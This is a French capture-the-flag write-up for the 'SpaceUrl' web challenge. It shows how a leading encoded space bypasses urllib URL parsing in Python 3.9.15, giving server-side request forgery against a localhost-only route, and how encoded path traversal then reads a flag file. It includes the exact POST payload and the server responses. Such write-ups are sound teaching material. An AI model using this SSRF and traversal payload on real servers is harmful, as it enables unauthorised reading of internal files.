



## Writeup : SpaceUrl - Web (Easy)

L'application web permet d'importer des fichiers CSV ou JSON sur le serveur, via le lien du fichier.

La version de python utilisée est 3.9.15. Cette version contient une vulnérabilité dans le module urllib. <https://my.f5.com/manage/s/article/K000135921>

Cette faille permet de bypasser le parsing d'une URL par urllib en mettant certains caractères comme un espace ou des caractères spéciaux au début de l'url.

En regardant le code,

```
1 @app.get("/parse-file-url")
2 async def internal_req(request: Request, url: str, file_type: str = 'txt') -> dict:
3     client = request.client.host
4     if client not in ['127.0.0.1', 'localhost', '::1']:
5         raise HTTPException(status_code=403, detail="Forbidden")
```

On comprend que cette route n'est accessible que depuis le serveur et n'est pas exposée.

Le but est donc de passer par la route /upload-file-url en y passant, plutôt qu'une URL donnant sur un fichier JSON, l'URL locale donnant sur la route /parse-file-url.

Le corps de la requête POST sera donc :

```
1 {
2   "url": "%20http://127.0.0.1:7494/parse-file-url?url=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%66lag.txt&type=txt",
3   "file_type": "json"
4 }
```

Avant de parser l'url, l'api enlève les espaces de celle-ci, l'exploitation de base de la faille ne peut donc pas marcher, il faudra trouver un caractère à inclure qui ne cassera pas l'url par la suite, on peut donc quand même utiliser un espace mais en l'injectant avec "%20".

Grâce à l'exploitation de la faille d'urllib, on bypass le filtrage appliqué par la route qui empêche d'envoyer une URL ayant comme hôte localhost ou 127.0.0.1, on encode également les ".." afin de passer le second filtrage.



Il faut indiquer comme file\_type json dans la première requête sinon le front ne pourra pas afficher le fichier, sachant que la route interne renverra un json.

(Il est également possible de requêter le fichier json créée après le traitement directement dans /static/uploads)

Le serveur nous renvoie la réponse suivante

```
{
  "success": true,
  "file_id": "8ac620ef-9a50-4463-aa2b-2e3699f0325c",
  "file_url": "http://127.0.0.1:7494/parse-file-url?url=../../../../../../../../flag.txt&type=txt",
  "path": "/space_url/app/static/uploads/8ac620ef-9a50-4463-aa2b-2e3699f0325c.json"
}
```

On a plus qu'à accéder à la page contenant le fichier importé pour voir le flag.

[Retour à la liste](#)


### Détails du fichier

ID  
8ac620ef-9a50-4463-aa2b-2e3699f0325c


Nom original  
flag.txt&type=txt

URL  
<http://127.0.0.1:7494/parse-file-url?url=../../../../../../../../flag.txt&type=txt>

Date de création  
30/03/2025

 Supprimer

### Contenu du fichier



```
{"content": "MB{m4yb3_7h1nk_70_upd473_py7h0n}"}
```